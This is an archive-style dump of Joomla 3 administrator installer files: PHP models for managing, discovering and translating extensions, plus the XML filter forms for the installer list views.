			$db->setQuery('INSERT INTO ' . $db->quoteName('#__utf8_conversion')
				. ' (' . $db->quoteName('converted') . ') VALUES (0);'
			)->execute();
		}
		elseif ($count == 0)
		{
			// Record missing somehow, fix this
			$db->setQuery('INSERT INTO ' . $db->quoteName('#__utf8_conversion')
				. ' (' . $db->quoteName('converted') . ') VALUES (0);'
			)->execute();
		}
	}
}
com_installer/models/manage.php000060400000021502152455305310012622 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('InstallerModel', __DIR__ . '/extension.php');

/**
 * Installer Manage Model
 *
 * @since  1.5
 */
class InstallerModelManage extends InstallerModel
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'status',
				'name',
				'client_id',
				'client', 'client_translated',
				'type', 'type_translated',
				'folder', 'folder_translated',
				'package_id',
				'extension_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', null, 'int'));
		$this->setState('filter.status', $this->getUserStateFromRequest($this->context . '.filter.status', 'filter_status', '', 'string'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'));
		$this->setState('filter.folder', $this->getUserStateFromRequest($this->context . '.filter.folder', 'filter_folder', '', 'string'));

		$this->setState('message', $app->getUserState('com_installer.message'));
		$this->setState('extension_message', $app->getUserState('com_installer.extension_message'));
		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		parent::populateState($ordering, $direction);
	}

	/**
	 * Enable/Disable an extension.
	 *
	 * @param   array  $eid    Extension ids to un/publish
	 * @param   int    $value  Publish value
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function publish(&$eid = array(), $value = 1)
	{
		$user = JFactory::getUser();

		if (!$user->authorise('core.edit.state', 'com_installer'))
		{
			JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));

			return false;
		}

		$result = true;

		/*
		 * Ensure eid is an array of extension ids
		 * TODO: If it isn't an array do we want to set an error and fail?
		 */
		if (!is_array($eid))
		{
			$eid = array($eid);
		}

		// Get a table object for the extension type
		$table = JTable::getInstance('Extension');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables');

		// Enable the extension in the table and store it in the database
		foreach ($eid as $i => $id)
		{
			$table->load($id);

			if ($table->type == 'template')
			{
				$style = JTable::getInstance('Style', 'TemplatesTable');

				if ($style->load(array('template' => $table->element, 'client_id' => $table->client_id, 'home' => 1)))
				{
					JError::raiseNotice(403, JText::_('COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED'));
					unset($eid[$i]);
					continue;
				}
			}

			if ($table->protected == 1)
			{
				$result = false;
				JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
			}
			else
			{
				$table->enabled = $value;
			}
		
			$context = $this->option . '.' . $this->name;
			JPluginHelper::importPlugin('extension');
			JEventDispatcher::getInstance()->trigger('onExtensionChangeState', array($context, $eid, $value));

			if (!$table->store())
			{
				$this->setError($table->getError());
				$result = false;
			}
		}

		// Clear the cached extension data and menu cache
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);
		$this->cleanCache('com_modules', 0);
		$this->cleanCache('com_modules', 1);
		$this->cleanCache('mod_menu', 0);
		$this->cleanCache('mod_menu', 1);

		return $result;
	}

	/**
	 * Refreshes the cached manifest information for an extension.
	 *
	 * @param   int  $eid  extension identifier (key in #__extensions)
	 *
	 * @return  boolean  result of refresh
	 *
	 * @since   1.6
	 */
	public function refresh($eid)
	{
		if (!is_array($eid))
		{
			$eid = array($eid => 0);
		}

		// Get an installer object for the extension type
		$installer = JInstaller::getInstance();
		$result = 0;

		// Uninstall the chosen extensions
		foreach ($eid as $id)
		{
			$result |= $installer->refreshManifestCache($id);
		}

		return $result;
	}

	/**
	 * Remove (uninstall) an extension
	 *
	 * @param   array  $eid  An array of identifiers
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function remove($eid = array())
	{
		$user = JFactory::getUser();

		if (!$user->authorise('core.delete', 'com_installer'))
		{
			JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));

			return false;
		}

		/*
		 * Ensure eid is an array of extension ids in the form id => client_id
		 * TODO: If it isn't an array do we want to set an error and fail?
		 */
		if (!is_array($eid))
		{
			$eid = array($eid => 0);
		}

		// Get an installer object for the extension type
		$installer = JInstaller::getInstance();
		$row = JTable::getInstance('extension');

		// Uninstall the chosen extensions
		$msgs = array();
		$result = false;

		foreach ($eid as $id)
		{
			$id = trim($id);
			$row->load($id);
			$result = false;

			$langstring = 'COM_INSTALLER_TYPE_TYPE_' . strtoupper($row->type);
			$rowtype = JText::_($langstring);

			if (strpos($rowtype, $langstring) !== false)
			{
				$rowtype = $row->type;
			}

			if ($row->type)
			{
				$result = $installer->uninstall($row->type, $id);

				// Build an array of extensions that failed to uninstall
				if ($result === false)
				{
					// There was an error in uninstalling the package
					$msgs[] = JText::sprintf('COM_INSTALLER_UNINSTALL_ERROR', $rowtype);

					continue;
				}

				// Package uninstalled successfully
				$msgs[] = JText::sprintf('COM_INSTALLER_UNINSTALL_SUCCESS', $rowtype);
				$result = true;

				continue;
			}

			// There was an error in uninstalling the package
			$msgs[] = JText::sprintf('COM_INSTALLER_UNINSTALL_ERROR', $rowtype);
		}

		$msg = implode('<br />', $msgs);
		$app = JFactory::getApplication();
		$app->enqueueMessage($msg);
		$this->setState('action', 'remove');
		$this->setState('name', $installer->get('name'));
		$app->setUserState('com_installer.message', $installer->message);
		$app->setUserState('com_installer.extension_message', $installer->get('extension_message'));

		// Clear the cached extension data and menu cache
		$this->cleanCache('_system', 0);
		$this->cleanCache('_system', 1);
		$this->cleanCache('com_modules', 0);
		$this->cleanCache('com_modules', 1);
		$this->cleanCache('com_plugins', 0);
		$this->cleanCache('com_plugins', 1);
		$this->cleanCache('mod_menu', 0);
		$this->cleanCache('mod_menu', 1);

		return $result;
	}

	/**
	 * Method to get the database query
	 *
	 * @return  JDatabaseQuery  The database query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$query = $this->getDbo()->getQuery(true)
			->select('*')
			->select('2*protected+(1-protected)*enabled AS status')
			->from('#__extensions')
			->where('state = 0');

		// Process select filters.
		$status   = $this->getState('filter.status');
		$type     = $this->getState('filter.type');
		$clientId = $this->getState('filter.client_id');
		$folder   = $this->getState('filter.folder');

		if ($status != '')
		{
			if ($status == '2')
			{
				$query->where('protected = 1');
			}
			elseif ($status == '3')
			{
				$query->where('protected = 0');
			}
			else
			{
				$query->where('protected = 0')
					->where('enabled = ' . (int) $status);
			}
		}

		if ($type)
		{
			$query->where('type = ' . $this->_db->quote($type));
		}

		if ($clientId != '')
		{
			$query->where('client_id = ' . (int) $clientId);
		}

		if ($folder != '')
		{
			$query->where('folder = ' . $this->_db->quote($folder == '*' ? '' : $folder));
		}

		// Process search filter (extension id).
		$search = $this->getState('filter.search');

		if (!empty($search) && stripos($search, 'id:') === 0)
		{
			$query->where('extension_id = ' . (int) substr($search, 3));
		}

		// Note: The search for name, ordering and pagination are processed by the parent InstallerModel class (in extension.php).

		return $query;
	}
}
com_installer/models/discover.php000060400000014550152455305310013215 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('InstallerModel', __DIR__ . '/extension.php');

/**
 * Installer Discover Model
 *
 * @since  1.6
 */
class InstallerModelDiscover extends InstallerModel
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.5
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'name',
				'client_id',
				'client', 'client_translated',
				'type', 'type_translated',
				'folder', 'folder_translated',
				'extension_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', null, 'int'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'));
		$this->setState('filter.folder', $this->getUserStateFromRequest($this->context . '.filter.folder', 'filter_folder', '', 'string'));

		$this->setState('message', $app->getUserState('com_installer.message'));
		$this->setState('extension_message', $app->getUserState('com_installer.extension_message'));

		$app->setUserState('com_installer.message', '');
		$app->setUserState('com_installer.extension_message', '');

		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get the database query.
	 *
	 * @return  JDatabaseQuery  the database query
	 *
	 * @since   3.1
	 */
	protected function getListQuery()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('state') . ' = -1');

		// Process select filters.
		$type     = $this->getState('filter.type');
		$clientId = $this->getState('filter.client_id');
		$folder   = $this->getState('filter.folder');

		if ($type)
		{
			$query->where($db->quoteName('type') . ' = ' . $db->quote($type));
		}

		if ($clientId != '')
		{
			$query->where($db->quoteName('client_id') . ' = ' . (int) $clientId);
		}

		if ($folder != '' && in_array($type, array('plugin', 'library', '')))
		{
			$query->where($db->quoteName('folder') . ' = ' . $db->quote($folder == '*' ? '' : $folder));
		}

		// Process search filter.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('extension_id') . ' = ' . (int) substr($search, 3));
			}
		}

		// Note: The search for name, ordering and pagination are processed by the parent InstallerModel class (in extension.php).

		return $query;
	}

	/**
	 * Discover extensions.
	 *
	 * Finds uninstalled extensions
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function discover()
	{
		// Purge the list of discovered extensions and fetch them again.
		$this->purge();
		$results = JInstaller::getInstance()->discover();

		// Get all templates, including discovered ones
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('extension_id', 'element', 'folder', 'client_id', 'type')))
			->from($db->quoteName('#__extensions'));
		$db->setQuery($query);
		$installedtmp = $db->loadObjectList();

		$extensions = array();

		foreach ($installedtmp as $install)
		{
			$key = implode(':', array($install->type, $install->element, $install->folder, $install->client_id));
			$extensions[$key] = $install;
		}

		foreach ($results as $result)
		{
			// Check if we have a match on the element
			$key = implode(':', array($result->type, $result->element, $result->folder, $result->client_id));

			if (!array_key_exists($key, $extensions))
			{
				// Put it into the table
				$result->check();
				$result->store();
			}
		}
	}

	/**
	 * Installs a discovered extension.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function discover_install()
	{
		$app   = JFactory::getApplication();
		$input = $app->input;
		$eid   = $input->get('cid', 0, 'array');

		if (is_array($eid) || $eid)
		{
			if (!is_array($eid))
			{
				$eid = array($eid);
			}

			$eid = ArrayHelper::toInteger($eid);
			$failed = false;

			foreach ($eid as $id)
			{
				$installer = new JInstaller;

				$result = $installer->discover_install($id);

				if (!$result)
				{
					$failed = true;
					$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED') . ': ' . $id);
				}
			}

			// TODO - We are only receiving the message for the last JInstaller instance
			$this->setState('action', 'remove');
			$this->setState('name', $installer->get('name'));
			$app->setUserState('com_installer.message', $installer->message);
			$app->setUserState('com_installer.extension_message', $installer->get('extension_message'));

			if (!$failed)
			{
				$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL'));
			}
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED'));
		}
	}

	/**
	 * Cleans out the list of discovered extensions.
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.6
	 */
	public function purge()
	{
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__extensions'))
			->where($db->quoteName('state') . ' = -1');
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			$this->_message = JText::_('COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS');

			return false;
		}

		$this->_message = JText::_('COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS');

		return true;
	}
}
com_installer/models/extension.php000060400000015311152455305310013407 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Extension Manager Abstract Extension Model.
 *
 * @since  1.5
 */
class InstallerModel extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'name',
				'client_id',
				'client', 'client_translated',
				'enabled',
				'type', 'type_translated',
				'folder', 'folder_translated',
				'extension_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Returns an object list
	 *
	 * @param   string  $query       The query
	 * @param   int     $limitstart  Offset
	 * @param   int     $limit       The number of records
	 *
	 * @return  array
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$listOrder = $this->getState('list.ordering', 'name');
		$listDirn  = $this->getState('list.direction', 'asc');

		// Replace slashes so preg_match will work
		$search = $this->getState('filter.search');
		$search = str_replace('/', ' ', $search);
		$db     = $this->getDbo();

		// Define which fields have to be processed in a custom way because of translation.
		$customOrderFields = array('name', 'client_translated', 'type_translated', 'folder_translated');

		// Process searching, ordering and pagination for fields that need to be translated.
		if (in_array($listOrder, $customOrderFields) || (!empty($search) && stripos($search, 'id:') !== 0))
		{
			// Get results from database and translate them.
			$db->setQuery($query);
			$result = $db->loadObjectList();
			$this->translate($result);

			// Process searching.
			if (!empty($search) && stripos($search, 'id:') !== 0)
			{
				$escapedSearchString = $this->refineSearchStringToRegex($search, '/');

				// By default search only the extension name field.
				$searchFields = array('name');

				// If in update sites view search also in the update site name field.
				if ($this instanceof InstallerModelUpdatesites)
				{
					$searchFields[] = 'update_site_name';
				}

				foreach ($result as $i => $item)
				{
					// Check if search string exists in any of the fields to be searched.
					$found = 0;

					foreach ($searchFields as $key => $field)
					{
						if (!$found && preg_match('/' . $escapedSearchString . '/i', $item->{$field}))
						{
							$found = 1;
						}
					}

					// If search string was not found in any of the fields searched remove it from results array.
					if (!$found)
					{
						unset($result[$i]);
					}
				}
			}

			// Process ordering.
			// Sort array object by selected ordering and selected direction. Sort is case insensitive and using locale sorting.
			$result = ArrayHelper::sortObjects($result, $listOrder, strtolower($listDirn) == 'desc' ? -1 : 1, false, true);

			// Process pagination.
			$total = count($result);
			$this->cache[$this->getStoreId('getTotal')] = $total;

			if ($total <= $limitstart)
			{
				$limitstart = 0;
				$this->setState('list.limitstart', 0);
			}

			return array_slice($result, $limitstart, $limit ?: null);
		}

		// Process searching, ordering and pagination for regular database fields.
		$query->order($db->quoteName($listOrder) . ' ' . $db->escape($listDirn));
		$result = parent::_getList($query, $limitstart, $limit);
		$this->translate($result);

		return $result;
	}

	/**
	 * Translate a list of objects
	 *
	 * @param   array  $items  The array of objects
	 *
	 * @return  array The array of translated objects
	 */
	protected function translate(&$items)
	{
		$lang = JFactory::getLanguage();

		foreach ($items as &$item)
		{
			if (strlen($item->manifest_cache) && $data = json_decode($item->manifest_cache))
			{
				foreach ($data as $key => $value)
				{
					if ($key == 'type')
					{
						// Ignore the type field
						continue;
					}

					$item->$key = $value;
				}
			}

			$item->author_info       = @$item->authorEmail . '<br />' . @$item->authorUrl;
			$item->client            = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE');
			$item->client_translated = $item->client;
			$item->type_translated   = JText::_('COM_INSTALLER_TYPE_' . strtoupper($item->type));
			$item->folder_translated = @$item->folder ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE');

			$path = $item->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE;

			switch ($item->type)
			{
				case 'component':
					$extension = $item->element;
					$source = JPATH_ADMINISTRATOR . '/components/' . $extension;
						$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
					||	$lang->load("$extension.sys", $source, null, false, true);
				break;
				case 'file':
					$extension = 'files_' . $item->element;
						$lang->load("$extension.sys", JPATH_SITE, null, false, true);
				break;
				case 'library':
					$parts = explode('/', $item->element);
					$vendor = (isset($parts[1]) ? $parts[0] : null);
					$extension = 'lib_' . ($vendor ? implode('_', $parts) : $item->element);

					if (!$lang->load("$extension.sys", $path, null, false, true))
					{
						$source = $path . '/libraries/' . ($vendor ? $vendor . '/' . $parts[1] : $item->element);
						$lang->load("$extension.sys", $source, null, false, true);
					}
				break;
				case 'module':
					$extension = $item->element;
					$source = $path . '/modules/' . $extension;
						$lang->load("$extension.sys", $path, null, false, true)
					||	$lang->load("$extension.sys", $source, null, false, true);
				break;
				case 'plugin':
					$extension = 'plg_' . $item->folder . '_' . $item->element;
					$source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element;
						$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
					||	$lang->load("$extension.sys", $source, null, false, true);
				break;
				case 'template':
					$extension = 'tpl_' . $item->element;
					$source = $path . '/templates/' . $item->element;
						$lang->load("$extension.sys", $path, null, false, true)
					||	$lang->load("$extension.sys", $source, null, false, true);
				break;
				case 'package':
				default:
					$extension = $item->element;
						$lang->load("$extension.sys", JPATH_SITE, null, false, true);
				break;
			}

			// Translate the extension name if possible
			$item->name = JText::_($item->name);

			settype($item->description, 'string');

			if (!in_array($item->type, array('language')))
			{
				$item->description = JText::_($item->description);
			}
		}
	}
}
com_installer/models/forms/filter_languages.xml000060400000002027152455305310016045 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_INSTALLER_LANGUAGES_FILTER_SEARCH_LABEL"
			description="COM_INSTALLER_LANGUAGES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="name ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="name DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="element ASC">COM_INSTALLER_HEADING_LANGUAGE_TAG_ASC</option>
			<option value="element DESC">COM_INSTALLER_HEADING_LANGUAGE_TAG_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
    </fields>
</form>
com_installer/models/forms/filter_manage.xml000060400000005035152455305310015331 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_installer/models/fields" />

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_INSTALLER_MANAGE_FILTER_SEARCH_LABEL"
			description="COM_INSTALLER_MANAGE_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="status"
			type="extensionstatus"
			label="COM_PLUGINS_FILTER_PUBLISHED"
			description="COM_PLUGINS_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="client_id"
			type="location"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_CLIENT_SELECT</option>
		</field>

		<field
			name="type"
			type="type"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_TYPE_SELECT</option>
		</field>

		<field
			name="folder"
			type="folder"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_FOLDER_SELECT</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="status ASC">JSTATUS_ASC</option>
			<option value="status DESC">JSTATUS_DESC</option>
			<option value="name ASC">COM_INSTALLER_HEADING_NAME_ASC</option>
			<option value="name DESC">COM_INSTALLER_HEADING_NAME_DESC</option>
			<option value="client_translated ASC">COM_INSTALLER_HEADING_LOCATION_ASC</option>
			<option value="client_translated DESC">COM_INSTALLER_HEADING_LOCATION_DESC</option>
			<option value="type_translated ASC">COM_INSTALLER_HEADING_TYPE_ASC</option>
			<option value="type_translated DESC">COM_INSTALLER_HEADING_TYPE_DESC</option>
			<option value="folder_translated ASC">COM_INSTALLER_HEADING_FOLDER_ASC</option>
			<option value="folder_translated DESC">COM_INSTALLER_HEADING_FOLDER_DESC</option>
			<option value="package_id ASC">COM_INSTALLER_HEADING_PACKAGE_ID_ASC</option>
			<option value="package_id DESC">COM_INSTALLER_HEADING_PACKAGE_ID_DESC</option>
			<option value="extension_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="extension_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_installer/models/forms/filter_update.xml000060400000003625152455305310015366 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_installer/models/fields"/>

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_INSTALLER_UPDATE_FILTER_SEARCH_LABEL"
			description="COM_INSTALLER_UPDATE_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="client_id"
			type="location"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_CLIENT_SELECT</option>
		</field>
		<field
			name="type"
			type="type"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_TYPE_SELECT</option>
		</field>
		<field
			name="folder"
			type="folder"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_FOLDER_SELECT</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="u.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="u.name ASC">COM_INSTALLER_HEADING_NAME_ASC</option>
			<option value="u.name DESC">COM_INSTALLER_HEADING_NAME_DESC</option>
			<option value="client_translated ASC">COM_INSTALLER_HEADING_LOCATION_ASC</option>
			<option value="client_translated DESC">COM_INSTALLER_HEADING_LOCATION_DESC</option>
			<option value="type_translated ASC">COM_INSTALLER_HEADING_TYPE_ASC</option>
			<option value="type_translated DESC">COM_INSTALLER_HEADING_TYPE_DESC</option>
			<option value="folder_translated ASC">COM_INSTALLER_HEADING_FOLDER_ASC</option>
			<option value="folder_translated DESC">COM_INSTALLER_HEADING_FOLDER_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_installer/models/forms/filter_updatesites.xml000060400000005201152455305310016426 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_installer/models/fields"/>

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_INSTALLER_UPDATESITES_FILTER_SEARCH_LABEL"
			description="COM_INSTALLER_UPDATESITES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="enabled"
			type="list"
			label="COM_PLUGINS_FILTER_PUBLISHED"
			description="COM_PLUGINS_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<field
			name="client_id"
			type="location"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_CLIENT_SELECT</option>
		</field>
		<field
			name="type"
			type="type"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_TYPE_SELECT</option>
		</field>
		<field
			name="folder"
			type="folder"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_FOLDER_SELECT</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="enabled ASC">JSTATUS_ASC</option>
			<option value="enabled DESC">JSTATUS_DESC</option>
			<option value="update_site_name ASC">COM_INSTALLER_HEADING_UPDATESITE_NAME_ASC</option>
			<option value="update_site_name DESC">COM_INSTALLER_HEADING_UPDATESITE_NAME_DESC</option>
			<option value="name ASC">COM_INSTALLER_HEADING_NAME_ASC</option>
			<option value="name DESC">COM_INSTALLER_HEADING_NAME_DESC</option>
			<option value="client_translated ASC">COM_INSTALLER_HEADING_LOCATION_ASC</option>
			<option value="client_translated DESC">COM_INSTALLER_HEADING_LOCATION_DESC</option>
			<option value="type_translated ASC">COM_INSTALLER_HEADING_TYPE_ASC</option>
			<option value="type_translated DESC">COM_INSTALLER_HEADING_TYPE_DESC</option>
			<option value="folder_translated ASC">COM_INSTALLER_HEADING_FOLDER_ASC</option>
			<option value="folder_translated DESC">COM_INSTALLER_HEADING_FOLDER_DESC</option>
			<option value="update_site_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="update_site_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_installer/models/forms/filter_discover.xml000060400000004036152455305310015717 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_installer/models/fields"/>

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_INSTALLER_DISCOVER_FILTER_SEARCH_LABEL"
			description="COM_INSTALLER_DISCOVER_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="client_id"
			type="location"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_CLIENT_SELECT</option>
		</field>

		<field
			name="type"
			type="type"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_TYPE_SELECT</option>
		</field>

		<field
			name="folder"
			type="folder"
			onchange="this.form.submit();"
			>
			<option value="">COM_INSTALLER_VALUE_FOLDER_SELECT</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="name ASC">COM_INSTALLER_HEADING_NAME_ASC</option>
			<option value="name DESC">COM_INSTALLER_HEADING_NAME_DESC</option>
			<option value="client_translated ASC">COM_INSTALLER_HEADING_LOCATION_ASC</option>
			<option value="client_translated DESC">COM_INSTALLER_HEADING_LOCATION_DESC</option>
			<option value="type_translated ASC">COM_INSTALLER_HEADING_TYPE_ASC</option>
			<option value="type_translated DESC">COM_INSTALLER_HEADING_TYPE_DESC</option>
			<option value="folder_translated ASC">COM_INSTALLER_HEADING_FOLDER_ASC</option>
			<option value="folder_translated DESC">COM_INSTALLER_HEADING_FOLDER_DESC</option>
			<option value="extension_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="extension_id DESC">JGRID_HEADING_ID_DESC</option>
